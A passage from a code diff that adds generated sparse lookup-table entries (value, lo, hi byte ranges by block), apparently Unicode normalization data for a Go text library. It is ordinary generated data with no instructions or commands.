+ {value: 0x2782, lo: 0x92, hi: 0x92}, + {value: 0x2789, lo: 0x97, hi: 0x97}, + {value: 0x2790, lo: 0x9c, hi: 0x9c}, + {value: 0x276d, lo: 0xa9, hi: 0xa9}, + {value: 0x8127, lo: 0xb1, hi: 0xb1}, + {value: 0x8128, lo: 0xb2, hi: 0xb2}, + {value: 0x4bc5, lo: 0xb3, hi: 0xb3}, + {value: 0x8129, lo: 0xb4, hi: 0xb4}, + {value: 0x4bce, lo: 0xb5, hi: 0xb5}, + {value: 0x46f5, lo: 0xb6, hi: 0xb6}, + {value: 0x4735, lo: 0xb7, hi: 0xb7}, + {value: 0x46fd, lo: 0xb8, hi: 0xb8}, + {value: 0x4740, lo: 0xb9, hi: 0xb9}, + {value: 0x8128, lo: 0xba, hi: 0xbd}, + // Block 0x26, offset 0xff + {value: 0x0000, lo: 0x0b}, + {value: 0x8128, lo: 0x80, hi: 0x80}, + {value: 0x4bd7, lo: 0x81, hi: 0x81}, + {value: 0x8133, lo: 0x82, hi: 0x83}, + {value: 0x8105, lo: 0x84, hi: 0x84}, + {value: 0x8133, lo: 0x86, hi: 0x87}, + {value: 0x279e, lo: 0x93, hi: 0x93}, + {value: 0x27a5, lo: 0x9d, hi: 0x9d}, + {value: 0x27ac, lo: 0xa2, hi: 0xa2}, + {value: 0x27b3, lo: 0xa7, hi: 0xa7}, + {value: 0x27ba, lo: 0xac, hi: 0xac}, + {value: 0x2797, lo: 0xb9, hi: 0xb9}, + // Block 0x27, offset 0x10b + {value: 0x0000, lo: 0x01}, + {value: 0x812e, lo: 0x86, hi: 0x86}, + // Block 0x28, offset 0x10d + {value: 0x0000, lo: 0x05}, + {value: 0xa000, lo: 0xa5, hi: 0xa5}, + {value: 0x2e55, lo: 0xa6, hi: 0xa6}, + {value: 0x9900, lo: 0xae, hi: 0xae}, + {value: 0x8103, lo: 0xb7, hi: 0xb7}, + {value: 0x8105, lo: 0xb9, hi: 0xba}, + // Block 0x29, offset 0x113 + {value: 0x0000, lo: 0x01}, + {value: 0x812e, lo: 0x8d, hi: 0x8d}, + // Block 0x2a, offset 0x115 + {value: 0x0000, lo: 0x01}, + {value: 0x0402, lo: 0xbc, hi: 0xbc}, + // Block 0x2b, offset 0x117 + {value: 0x0000, lo: 0x01}, + {value: 0xa000, lo: 0x80, hi: 0x92}, + // Block 0x2c, offset 0x119 + {value: 0x0000, lo: 0x01}, + {value: 0xb900, lo: 0xa1, hi: 0xb5}, + // Block 0x2d, offset 0x11b + {value: 0x0000, lo: 0x01}, + {value: 0x9900, lo: 0xa8, hi: 0xbf}, + // Block 0x2e, offset 0x11d + {value: 0x0000, lo: 0x01}, + {value: 0x9900, lo: 0x80, hi: 0x82}, + // Block 0x2f, offset 0x11f + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0x9d, hi: 0x9f}, + // Block 0x30, offset 0x121 + {value: 0x0000, lo: 0x02}, + {value: 0x8105, lo: 0x94, hi: 0x95}, + {value: 0x8105, lo: 0xb4, hi: 0xb4}, + // Block 0x31, offset 0x124 + {value: 0x0000, lo: 0x02}, + {value: 0x8105, lo: 0x92, hi: 0x92}, + {value: 0x8133, lo: 0x9d, hi: 0x9d}, + // Block 0x32, offset 0x127 + {value: 0x0000, lo: 0x01}, + {value: 0x8132, lo: 0xa9, hi: 0xa9}, + // Block 0x33, offset 0x129 + {value: 0x0004, lo: 0x02}, + {value: 0x812f, lo: 0xb9, hi: 0xba}, + {value: 0x812e, lo: 0xbb, hi: 0xbb}, + // Block 0x34, offset 0x12c + {value: 0x0000, lo: 0x02}, + {value: 0x8133, lo: 0x97, hi: 0x97}, + {value: 0x812e, lo: 0x98, hi: 0x98}, + // Block 0x35, offset 0x12f + {value: 0x0000, lo: 0x03}, + {value: 0x8105, lo: 0xa0, hi: 0xa0}, + {value: 0x8133, lo: 0xb5, hi: 0xbc}, + {value: 0x812e, lo: 0xbf, hi: 0xbf}, + // Block 0x36, offset 0x133 + {value: 0x0000, lo: 0x05}, + {value: 0x8133, lo: 0xb0, hi: 0xb4}, + {value: 0x812e, lo: 0xb5, hi: 0xba}, + {value: 0x8133, lo: 0xbb, hi: 0xbc}, + {value: 0x812e, lo: 0xbd, hi: 0xbd}, + {value: 0x812e, lo: 0xbf, hi: 0xbf}, + // Block 0x37, offset 0x139 + {value: 0x0000, lo: 0x06}, + {value: 0x812e, lo: 0x80, hi: 0x80}, + {value: 0x8133, lo: 0x81, hi: 0x82}, + {value: 0x812e, lo: 0x83, hi: 0x84}, + {value: 0x8133, lo: 0x85, hi: 0x89}, + {value: 0x812e, lo: 0x8a, hi: 0x8a}, + {value: 0x8133, lo: 0x8b, hi: 0x8e}, + // Block 0x38, offset 0x140 + {value: 0x0000, lo: 0x08}, + {value: 0x2e9d, lo: 0x80, hi: 0x80}, + {value: 0x2ea5, lo: 0x81, hi: 0x81}, + {value: 0xa000, lo: 0x82, hi: 0x82}, + {value: 0x2ead, lo: 0x83, hi: 0x83}, + {value: 0x8105, lo: 0x84, hi: 0x84}, + {value: 0x8133, lo: 0xab, hi: 0xab}, + {value: 0x812e, lo: 0xac, hi: 0xac}, + {value: 0x8133, lo: 0xad, hi: 0xb3}, + // Block 0x39, offset 0x149 + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0xaa, hi: 0xab}, + // Block 0x3a, offset 0x14b + {value: 0x0000, lo: 0x02}, + {value: 0x8103, lo: 0xa6, hi: 0xa6}, + {value: 0x8105, lo: 0xb2, hi: 0xb3}, + // Block 0x3b, offset 0x14e + {value: 0x0000, lo: 0x01}, + {value: 0x8103, lo: 0xb7, hi: 0xb7}, + // Block 0x3c, offset 0x150 + {value: 0x0000, lo: 0x0a}, + {value: 0x8133, lo: 0x90, hi: 0x92}, + {value: 0x8101, lo: 0x94, hi: 0x94}, + {value: 0x812e, lo: 0x95, hi: 0x99}, + {value: 0x8133, lo: 0x9a, hi: 0x9b}, + {value: 0x812e, lo: 0x9c, hi: 0x9f}, + {value: 0x8133, lo: 0xa0, hi: 0xa0}, + {value: 0x8101, lo: 0xa2, hi: 0xa8}, + {value: 0x812e, lo: 0xad, hi: 0xad}, + {value: 0x8133, lo: 0xb4, hi: 0xb4}, + {value: 0x8133, lo: 0xb8, hi: 0xb9}, + // Block 0x3d, offset 0x15b + {value: 0x0002, lo: 0x0a}, + {value: 0x0043, lo: 0xac, hi: 0xac}, + {value: 0x00d1, lo: 0xad, hi: 0xad}, + {value: 0x0045, lo: 0xae, hi: 0xae}, + {value: 0x0049, lo: 0xb0, hi: 0xb1}, + {value: 0x00ec, lo: 0xb2, hi: 0xb2}, + {value: 0x004f, lo: 0xb3, hi: 0xba}, + {value: 0x005f, lo: 0xbc, hi: 0xbc}, + {value: 0x00fe, lo: 0xbd, hi: 0xbd}, + {value: 0x0061, lo: 0xbe, hi: 0xbe}, + {value: 0x0065, lo: 0xbf, hi: 0xbf}, + // Block 0x3e, offset 0x166 + {value: 0x0000, lo: 0x0d}, + {value: 0x0001, lo: 0x80, hi: 0x8a}, + {value: 0x0532, lo: 0x91, hi: 0x91}, + {value: 0x43dc, lo: 0x97, hi: 0x97}, + {value: 0x001d, lo: 0xa4, hi: 0xa4}, + {value: 0x19a0, lo: 0xa5, hi: 0xa5}, + {value: 0x1c8c, lo: 0xa6, hi: 0xa6}, + {value: 0x0001, lo: 0xaf, hi: 0xaf}, + {value: 0x27c1, lo: 0xb3, hi: 0xb3}, + {value: 0x2935, lo: 0xb4, hi: 0xb4}, + {value: 0x27c8, lo: 0xb6, hi: 0xb6}, + {value: 0x293f, lo: 0xb7, hi: 0xb7}, + {value: 0x199a, lo: 0xbc, hi: 0xbc}, + {value: 0x43aa, lo: 0xbe, hi: 0xbe}, + // Block 0x3f, offset 0x174 + {value: 0x0002, lo: 0x0d}, + {value: 0x1a60, lo: 0x87, hi: 0x87}, + {value: 0x1a5d, lo: 0x88, hi: 0x88}, + {value: 0x199d, lo: 0x89, hi: 0x89}, + {value: 0x2ac5, lo: 0x97, hi: 0x97}, + {value: 0x0001, lo: 0x9f, hi: 0x9f}, + {value: 0x0021, lo: 0xb0, hi: 0xb0}, + {value: 0x0093, lo: 0xb1, hi: 0xb1}, + {value: 0x0029, lo: 0xb4, hi: 0xb9}, + {value: 0x0017, lo: 0xba, hi: 0xba}, + {value: 0x055e, lo: 0xbb, hi: 0xbb}, + {value: 0x003b, lo: 0xbc, hi: 0xbc}, + {value: 0x0011, lo: 0xbd, hi: 0xbe}, + {value: 0x009d, lo: 0xbf, hi: 0xbf}, + // Block 0x40, offset 0x182 + {value: 0x0002, lo: 0x0f}, + {value: 0x0021, lo: 0x80, hi: 0x89}, + {value: 0x0017, lo: 0x8a, hi: 0x8a}, + {value: 0x055e, lo: 0x8b, hi: 0x8b}, + {value: 0x003b, lo: 0x8c, hi: 0x8c}, + {value: 0x0011, lo: 0x8d, hi: 0x8e}, + {value: 0x0083, lo: 0x90, hi: 0x90}, + {value: 0x008b, lo: 0x91, hi: 0x91}, + {value: 0x009f, lo: 0x92, hi: 0x92}, + {value: 0x00b1, lo: 0x93, hi: 0x93}, + {value: 0x011f, lo: 0x94, hi: 0x94}, + {value: 0x0091, lo: 0x95, hi: 0x95}, + {value: 0x0097, lo: 0x96, hi: 0x99}, + {value: 0x00a1, lo: 0x9a, hi: 0x9a}, + {value: 0x00a7, lo: 0x9b, hi: 0x9c}, + {value: 0x1ac9, lo: 0xa8, hi: 0xa8}, + // Block 0x41, offset 0x192 + {value: 0x0000, lo: 0x0d}, + {value: 0x8133, lo: 0x90, hi: 0x91}, + {value: 0x8101, lo: 0x92, hi: 0x93}, + {value: 0x8133, lo: 0x94, hi: 0x97}, + {value: 0x8101, lo: 0x98, hi: 0x9a}, + {value: 0x8133, lo: 0x9b, hi: 0x9c}, + {value: 0x8133, lo: 0xa1, hi: 0xa1}, + {value: 0x8101, lo: 0xa5, hi: 0xa6}, + {value: 0x8133, lo: 0xa7, hi: 0xa7}, + {value: 0x812e, lo: 0xa8, hi: 0xa8}, + {value: 0x8133, lo: 0xa9, hi: 0xa9}, + {value: 0x8101, lo: 0xaa, hi: 0xab}, + {value: 0x812e, lo: 0xac, hi: 0xaf}, + {value: 0x8133, lo: 0xb0, hi: 0xb0}, + // Block 0x42, offset 0x1a0 + {value: 0x0007, lo: 0x06}, + {value: 0x22b0, lo: 0x89, hi: 0x89}, + {value: 0xa000, lo: 0x90, hi: 0x90}, + {value: 0xa000, lo: 0x92, hi: 0x92}, + {value: 0xa000, lo: 0x94, hi: 0x94}, + {value: 0x3cfa, lo: 0x9a, hi: 0x9b}, + {value: 0x3d08, lo: 0xae, hi: 0xae}, + // Block 0x43, offset 0x1a7 + {value: 0x000e, lo: 0x05}, + {value: 0x3d0f, lo: 0x8d, hi: 0x8e}, + {value: 0x3d16, lo: 0x8f, hi: 0x8f}, + {value: 0xa000, lo: 0x90, hi: 0x90}, + {value: 0xa000, lo: 0x92, hi: 0x92}, + {value: 0xa000, lo: 0x94, hi: 0x94}, + // Block 0x44, offset 0x1ad + {value: 0x017a, lo: 0x0e}, + {value: 0xa000, lo: 0x83, hi: 0x83}, + {value: 0x3d24, lo: 0x84, hi: 0x84}, + {value: 0xa000, lo: 0x88, hi: 0x88}, + {value: 0x3d2b, lo: 0x89, hi: 0x89}, + {value: 0xa000, lo: 0x8b, hi: 0x8b}, + {value: 0x3d32, lo: 0x8c, hi: 0x8c}, + {value: 0xa000, lo: 0xa3, hi: 0xa3}, + {value: 0x3d39, lo: 0xa4, hi: 0xa4}, + {value: 0xa000, lo: 0xa5, hi: 0xa5}, + {value: 0x3d40, lo: 0xa6, hi: 0xa6}, + {value: 0x27cf, lo: 0xac, hi: 0xad}, + {value: 0x27d6, lo: 0xaf, hi: 0xaf}, + {value: 0x2953, lo: 0xb0, hi: 0xb0}, + {value: 0xa000, lo: 0xbc, hi: 0xbc}, + // Block 0x45, offset 0x1bc + {value: 0x0007, lo: 0x03}, + {value: 0x3da9, lo: 0xa0, hi: 0xa1}, + {value: 0x3dd3, lo: 0xa2, hi: 0xa3}, + {value: 0x3dfd, lo: 0xaa, hi: 0xad}, + // Block 0x46, offset 0x1c0 + {value: 0x0004, lo: 0x01}, + {value: 0x0586, lo: 0xa9, hi: 0xaa}, + // Block 0x47, offset 0x1c2 + {value: 0x0002, lo: 0x03}, + {value: 0x0057, lo: 0x80, hi: 0x8f}, + {value: 0x0083, lo: 0x90, hi: 0xa9}, + {value: 0x0021, lo: 0xaa, hi: 0xaa}, + // Block 0x48, offset 0x1c6 + {value: 0x0000, lo: 0x01}, + {value: 0x2ad2, lo: 0x8c, hi: 0x8c}, + // Block 0x49, offset 0x1c8 + {value: 0x0266, lo: 0x02}, + {value: 0x1cbc, lo: 0xb4, hi: 0xb4}, + {value: 0x1a5a, lo: 0xb5, hi: 0xb6}, + // Block 0x4a, offset 0x1cb + {value: 0x0000, lo: 0x01}, + {value: 0x461e, lo: 0x9c, hi: 0x9c}, + // Block 0x4b, offset 0x1cd + {value: 0x0000, lo: 0x02}, + {value: 0x0095, lo: 0xbc, hi: 0xbc}, + {value: 0x006d, lo: 0xbd, hi: 0xbd}, + // Block 0x4c, offset 0x1d0 + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0xaf, hi: 0xb1}, + // Block 0x4d, offset 0x1d2 + {value: 0x0000, lo: 0x02}, + {value: 0x057a, lo: 0xaf, hi: 0xaf}, + {value: 0x8105, lo: 0xbf, hi: 0xbf}, + // Block 0x4e, offset 0x1d5 + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0xa0, hi: 0xbf}, + // Block 0x4f, offset 0x1d7 + {value: 0x0000, lo: 0x01}, + {value: 0x0ebe, lo: 0x9f, hi: 0x9f}, + // Block 0x50, offset 0x1d9 + {value: 0x0000, lo: 0x01}, + {value: 0x172a, lo: 0xb3, hi: 0xb3}, + // Block 0x51, offset 0x1db + {value: 0x0004, lo: 0x0b}, + {value: 0x1692, lo: 0x80, hi: 0x82}, + {value: 0x16aa, lo: 0x83, hi: 0x83}, + {value: 0x16c2, lo: 0x84, hi: 0x85}, + {value: 0x16d2, lo: 0x86, hi: 0x89}, + {value: 0x16e6, lo: 0x8a, hi: 0x8c}, + {value: 0x16fa, lo: 0x8d, hi: 0x8d}, + {value: 0x1702, lo: 0x8e, hi: 0x8e}, + {value: 0x170a, lo: 0x8f, hi: 0x90}, + {value: 0x1716, lo: 0x91, hi: 0x93}, + {value: 0x1726, lo: 0x94, hi: 0x94}, + {value: 0x172e, lo: 0x95, hi: 0x95}, + // Block 0x52, offset 0x1e7 + {value: 0x0004, lo: 0x09}, + {value: 0x0001, lo: 0x80, hi: 0x80}, + {value: 0x812d, lo: 0xaa, hi: 0xaa}, + {value: 0x8132, lo: 0xab, hi: 0xab}, + {value: 0x8134, lo: 0xac, hi: 0xac}, + {value: 0x812f, lo: 0xad, hi: 0xad}, + {value: 0x8130, lo: 0xae, hi: 0xae}, + {value: 0x8130, lo: 0xaf, hi: 0xaf}, + {value: 0x05ae, lo: 0xb6, hi: 0xb6}, + {value: 0x0982, lo: 0xb8, hi: 0xba}, + // Block 0x53, offset 0x1f1 + {value: 0x0006, lo: 0x09}, + {value: 0x0406, lo: 0xb1, hi: 0xb1}, + {value: 0x040a, lo: 0xb2, hi: 0xb2}, + {value: 0x4b7c, lo: 0xb3, hi: 0xb3}, + {value: 0x040e, lo: 0xb4, hi: 0xb4}, + {value: 0x4b82, lo: 0xb5, hi: 0xb6}, + {value: 0x0412, lo: 0xb7, hi: 0xb7}, + {value: 0x0416, lo: 0xb8, hi: 0xb8}, + {value: 0x041a, lo: 0xb9, hi: 0xb9}, + {value: 0x4b8e, lo: 0xba, hi: 0xbf}, + // Block 0x54, offset 0x1fb + {value: 0x0000, lo: 0x02}, + {value: 0x8133, lo: 0xaf, hi: 0xaf}, + {value: 0x8133, lo: 0xb4, hi: 0xbd}, + // Block 0x55, offset 0x1fe + {value: 0x0000, lo: 0x03}, + {value: 0x02d8, lo: 0x9c, hi: 0x9c}, + {value: 0x02de, lo: 0x9d, hi: 0x9d}, + {value: 0x8133, lo: 0x9e, hi: 0x9f}, + // Block 0x56, offset 0x202 + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0xb0, hi: 0xb1}, + // Block 0x57, offset 0x204 + {value: 0x0000, lo: 0x01}, + {value: 0x173e, lo: 0xb0, hi: 0xb0}, + // Block 0x58, offset 0x206 + {value: 0x0006, lo: 0x04}, + {value: 0x0047, lo: 0xb2, hi: 0xb3}, + {value: 0x0063, lo: 0xb4, hi: 0xb4}, + {value: 0x00dd, lo: 0xb8, hi: 0xb8}, + {value: 0x00e9, lo: 0xb9, hi: 0xb9}, + // Block 0x59, offset 0x20b + {value: 0x0000, lo: 0x02}, + {value: 0x8105, lo: 0x86, hi: 0x86}, + {value: 0x8105, lo: 0xac, hi: 0xac}, + // Block 0x5a, offset 0x20e + {value: 0x0000, lo: 0x02}, + {value: 0x8105, lo: 0x84, hi: 0x84}, + {value: 0x8133, lo: 0xa0, hi: 0xb1}, + // Block 0x5b, offset 0x211 + {value: 0x0000, lo: 0x01}, + {value: 0x812e, lo: 0xab, hi: 0xad}, + // Block 0x5c, offset 0x213 + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0x93, hi: 0x93}, + // Block 0x5d, offset 0x215 + {value: 0x0000, lo: 0x01}, + {value: 0x8103, lo: 0xb3, hi: 0xb3}, + // Block 0x5e, offset 0x217 + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0x80, hi: 0x80}, + // Block 0x5f, offset 0x219 + {value: 0x0000, lo: 0x05}, + {value: 0x8133, lo: 0xb0, hi: 0xb0}, + {value: 0x8133, lo: 0xb2, hi: 0xb3}, + {value: 0x812e, lo: 0xb4, hi: 0xb4}, + {value: 0x8133, lo: 0xb7, hi: 0xb8}, + {value: 0x8133, lo: 0xbe, hi: 0xbf}, + // Block 0x60, offset 0x21f + {value: 0x0000, lo: 0x02}, + {value: 0x8133, lo: 0x81, hi: 0x81}, + {value: 0x8105, lo: 0xb6, hi: 0xb6}, + // Block 0x61, offset 0x222 + {value: 0x000c, lo: 0x04}, + {value: 0x173a, lo: 0x9c, hi: 0x9d}, + {value: 0x014f, lo: 0x9e, hi: 0x9e}, + {value: 0x174a, lo: 0x9f, hi: 0x9f}, + {value: 0x01a6, lo: 0xa9, hi: 0xa9}, + // Block 0x62, offset 0x227 + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0xad, hi: 0xad}, + // Block 0x63, offset 0x229 + {value: 0x0000, lo: 0x06}, + {value: 0xe500, lo: 0x80, hi: 0x80}, + {value: 0xc600, lo: 0x81, hi: 0x9b}, + {value: 0xe500, lo: 0x9c, hi: 0x9c}, + {value: 0xc600, lo: 0x9d, hi: 0xb7}, + {value: 0xe500, lo: 0xb8, hi: 0xb8}, + {value: 0xc600, lo: 0xb9, hi: 0xbf}, + // Block 0x64, offset 0x230 + {value: 0x0000, lo: 0x05}, + {value: 0xc600, lo: 0x80, hi: 0x93}, + {value: 0xe500, lo: 0x94, hi: 0x94}, + {value: 0xc600, lo: 0x95, hi: 0xaf}, + {value: 0xe500, lo: 0xb0, hi: 0xb0}, + {value: 0xc600, lo: 0xb1, hi: 0xbf}, + // Block 0x65, offset 0x236 + {value: 0x0000, lo: 0x05}, + {value: 0xc600, lo: 0x80, hi: 0x8b}, + {value: 0xe500, lo: 0x8c, hi: 0x8c}, + {value: 0xc600, lo: 0x8d, hi: 0xa7}, + {value: 0xe500, lo: 0xa8, hi: 0xa8}, + {value: 0xc600, lo: 0xa9, hi: 0xbf}, + // Block 0x66, offset 0x23c + {value: 0x0000, lo: 0x07}, + {value: 0xc600, lo: 0x80, hi: 0x83}, + {value: 0xe500, lo: 0x84, hi: 0x84}, + {value: 0xc600, lo: 0x85, hi: 0x9f}, + {value: 0xe500, lo: 0xa0, hi: 0xa0}, + {value: 0xc600, lo: 0xa1, hi: 0xbb}, + {value: 0xe500, lo: 0xbc, hi: 0xbc}, + {value: 0xc600, lo: 0xbd, hi: 0xbf}, + // Block 0x67, offset 0x244 + {value: 0x0000, lo: 0x05}, + {value: 0xc600, lo: 0x80, hi: 0x97}, + {value: 0xe500, lo: 0x98, hi: 0x98}, + {value: 0xc600, lo: 0x99, hi: 0xb3}, + {value: 0xe500, lo: 0xb4, hi: 0xb4}, + {value: 0xc600, lo: 0xb5, hi: 0xbf}, + // Block 0x68, offset 0x24a + {value: 0x0000, lo: 0x05}, + {value: 0xc600, lo: 0x80, hi: 0x8f}, + {value: 0xe500, lo: 0x90, hi: 0x90}, + {value: 0xc600, lo: 0x91, hi: 0xab}, + {value: 0xe500, lo: 0xac, hi: 0xac}, + {value: 0xc600, lo: 0xad, hi: 0xbf}, + // Block 0x69, offset 0x250 + {value: 0x0000, lo: 0x05}, + {value: 0xc600, lo: 0x80, hi: 0x87}, + {value: 0xe500, lo: 0x88, hi: 0x88}, + {value: 0xc600, lo: 0x89, hi: 0xa3}, + {value: 0xe500, lo: 0xa4, hi: 0xa4}, + {value: 0xc600, lo: 0xa5, hi: 0xbf}, + // Block 0x6a, offset 0x256 + {value: 0x0000, lo: 0x03}, + {value: 0xc600, lo: 0x80, hi: 0x87}, + {value: 0xe500, lo: 0x88, hi: 0x88}, + {value: 0xc600, lo: 0x89, hi: 0xa3}, + // Block 0x6b, offset 0x25a + {value: 0x0002, lo: 0x01}, + {value: 0x0003, lo: 0x81, hi: 0xbf}, + // Block 0x6c, offset 0x25c + {value: 0x0000, lo: 0x01}, + {value: 0x812e, lo: 0xbd, hi: 0xbd}, + // Block 0x6d, offset 0x25e + {value: 0x0000, lo: 0x01}, + {value: 0x812e, lo: 0xa0, hi: 0xa0}, + // Block 0x6e, offset 0x260 + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0xb6, hi: 0xba}, + // Block 0x6f, offset 0x262 + {value: 0x002d, lo: 0x05}, + {value: 0x812e, lo: 0x8d, hi: 0x8d}, + {value: 0x8133, lo: 0x8f, hi: 0x8f}, + {value: 0x8133, lo: 0xb8, hi: 0xb8}, + {value: 0x8101, lo: 0xb9, hi: 0xba}, + {value: 0x8105, lo: 0xbf, hi: 0xbf}, + // Block 0x70, offset 0x268 + {value: 0x0000, lo: 0x02}, + {value: 0x8133, lo: 0xa5, hi: 0xa5}, + {value: 0x812e, lo: 0xa6, hi: 0xa6}, + // Block 0x71, offset 0x26b + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0xa4, hi: 0xa7}, + // Block 0x72, offset 0x26d + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0xab, hi: 0xac}, + // Block 0x73, offset 0x26f + {value: 0x0000, lo: 0x01}, + {value: 0x812e, lo: 0xbd, hi: 0xbf}, + // Block 0x74, offset 0x271 + {value: 0x0000, lo: 0x05}, + {value: 0x812e, lo: 0x86, hi: 0x87}, + {value: 0x8133, lo: 0x88, hi: 0x8a}, + {value: 0x812e, lo: 0x8b, hi: 0x8b}, + {value: 0x8133, lo: 0x8c, hi: 0x8c}, + {value: 0x812e, lo: 0x8d, hi: 0x90}, + // Block 0x75, offset 0x277 + {value: 0x0005, lo: 0x03}, + {value: 0x8133, lo: 0x82, hi: 0x82}, + {value: 0x812e, lo: 0x83, hi: 0x84}, + {value: 0x812e, lo: 0x85, hi: 0x85}, + // Block 0x76, offset 0x27b + {value: 0x0000, lo: 0x03}, + {value: 0x8105, lo: 0x86, hi: 0x86}, + {value: 0x8105, lo: 0xb0, hi: 0xb0}, + {value: 0x8105, lo: 0xbf, hi: 0xbf}, + // Block 0x77, offset 0x27f + {value: 0x17fe, lo: 0x07}, + {value: 0xa000, lo: 0x99, hi: 0x99}, + {value: 0x4379, lo: 0x9a, hi: 0x9a}, + {value: 0xa000, lo: 0x9b, hi: 0x9b}, + {value: 0x4383, lo: 0x9c, hi: 0x9c}, + {value: 0xa000, lo: 0xa5, hi: 0xa5}, + {value: 0x438d, lo: 0xab, hi: 0xab}, + {value: 0x8105, lo: 0xb9, hi: 0xba}, + // Block 0x78, offset 0x287 + {value: 0x0000, lo: 0x06}, + {value: 0x8133, lo: 0x80, hi: 0x82}, + {value: 0x9900, lo: 0xa7, hi: 0xa7}, + {value: 0x2eb5, lo: 0xae, hi: 0xae}, + {value: 0x2ebf, lo: 0xaf, hi: 0xaf}, + {value: 0xa000, lo: 0xb1, hi: 0xb2}, + {value: 0x8105, lo: 0xb3, hi: 0xb4}, + // Block 0x79, offset 0x28e + {value: 0x0000, lo: 0x02}, + {value: 0x8105, lo: 0x80, hi: 0x80}, + {value: 0x8103, lo: 0x8a, hi: 0x8a}, + // Block 0x7a, offset 0x291 + {value: 0x0000, lo: 0x02}, + {value: 0x8105, lo: 0xb5, hi: 0xb5}, + {value: 0x8103, lo: 0xb6, hi: 0xb6}, + // Block 0x7b, offset 0x294 + {value: 0x0002, lo: 0x01}, + {value: 0x8103, lo: 0xa9, hi: 0xaa}, + // Block 0x7c, offset 0x296 + {value: 0x0000, lo: 0x02}, + {value: 0x8103, lo: 0xbb, hi: 0xbc}, + {value: 0x9900, lo: 0xbe, hi: 0xbe}, + // Block 0x7d, offset 0x299 + {value: 0x0000, lo: 0x07}, + {value: 0xa000, lo: 0x87, hi: 0x87}, + {value: 0x2ec9, lo: 0x8b, hi: 0x8b}, + {value: 0x2ed3, lo: 0x8c, hi: 0x8c}, + {value: 0x8105, lo: 0x8d, hi: 0x8d}, + {value: 0x9900, lo: 0x97, hi: 0x97}, + {value: 0x8133, lo: 0xa6, hi: 0xac}, + {value: 0x8133, lo: 0xb0, hi: 0xb4}, + // Block 0x7e, offset 0x2a1 + {value: 0x0000, lo: 0x03}, + {value: 0x8105, lo: 0x82, hi: 0x82}, + {value: 0x8103, lo: 0x86, hi: 0x86}, + {value: 0x8133, lo: 0x9e, hi: 0x9e}, + // Block 0x7f, offset 0x2a5 + {value: 0x6a23, lo: 0x06}, + {value: 0x9900, lo: 0xb0, hi: 0xb0}, + {value: 0xa000, lo: 0xb9, hi: 0xb9}, + {value: 0x9900, lo: 0xba, hi: 0xba}, + {value: 0x2ee7, lo: 0xbb, hi: 0xbb}, + {value: 0x2edd, lo: 0xbc, hi: 0xbd}, + {value: 0x2ef1, lo: 0xbe, hi: 0xbe}, + // Block 0x80, offset 0x2ac + {value: 0x0000, lo: 0x02}, + {value: 0x8105, lo: 0x82, hi: 0x82}, + {value: 0x8103, lo: 0x83, hi: 0x83}, + // Block 0x81, offset 0x2af + {value: 0x0000, lo: 0x05}, + {value: 0x9900, lo: 0xaf, hi: 0xaf}, + {value: 0xa000, lo: 0xb8, hi: 0xb9}, + {value: 0x2efb, lo: 0xba, hi: 0xba}, + {value: 0x2f05, lo: 0xbb, hi: 0xbb}, + {value: 0x8105, lo: 0xbf, hi: 0xbf}, + // Block 0x82, offset 0x2b5 + {value: 0x0000, lo: 0x01}, + {value: 0x8103, lo: 0x80, hi: 0x80}, + // Block 0x83, offset 0x2b7 + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0xbf, hi: 0xbf}, + // Block 0x84, offset 0x2b9 + {value: 0x0000, lo: 0x02}, + {value: 0x8105, lo: 0xb6, hi: 0xb6}, + {value: 0x8103, lo: 0xb7, hi: 0xb7}, + // Block 0x85, offset 0x2bc + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0xab, hi: 0xab}, + // Block 0x86, offset 0x2be + {value: 0x0000, lo: 0x02}, + {value: 0x8105, lo: 0xb9, hi: 0xb9}, + {value: 0x8103, lo: 0xba, hi: 0xba}, + // Block 0x87, offset 0x2c1 + {value: 0x0000, lo: 0x04}, + {value: 0x9900, lo: 0xb0, hi: 0xb0}, + {value: 0xa000, lo: 0xb5, hi: 0xb5}, + {value: 0x2f0f, lo: 0xb8, hi: 0xb8}, + {value: 0x8105, lo: 0xbd, hi: 0xbe}, + // Block 0x88, offset 0x2c6 + {value: 0x0000, lo: 0x01}, + {value: 0x8103, lo: 0x83, hi: 0x83}, + // Block 0x89, offset 0x2c8 + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0xa0, hi: 0xa0}, + // Block 0x8a, offset 0x2ca + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0xb4, hi: 0xb4}, + // Block 0x8b, offset 0x2cc + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0x87, hi: 0x87}, + // Block 0x8c, offset 0x2ce + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0x99, hi: 0x99}, + // Block 0x8d, offset 0x2d0 + {value: 0x0000, lo: 0x02}, + {value: 0x8103, lo: 0x82, hi: 0x82}, + {value: 0x8105, lo: 0x84, hi: 0x85}, + // Block 0x8e, offset 0x2d3 + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0x97, hi: 0x97}, + // Block 0x8f, offset 0x2d5 + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0x81, hi: 0x82}, + // Block 0x90, offset 0x2d7 + {value: 0x0000, lo: 0x01}, + {value: 0x8101, lo: 0xb0, hi: 0xb4}, + // Block 0x91, offset 0x2d9 + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0xb0, hi: 0xb6}, + // Block 0x92, offset 0x2db + {value: 0x0000, lo: 0x01}, + {value: 0x8102, lo: 0xb0, hi: 0xb1}, + // Block 0x93, offset 0x2dd + {value: 0x0000, lo: 0x01}, + {value: 0x8101, lo: 0x9e, hi: 0x9e}, + // Block 0x94, offset 0x2df + {value: 0x0000, lo: 0x0c}, + {value: 0x470d, lo: 0x9e, hi: 0x9e}, + {value: 0x4717, lo: 0x9f, hi: 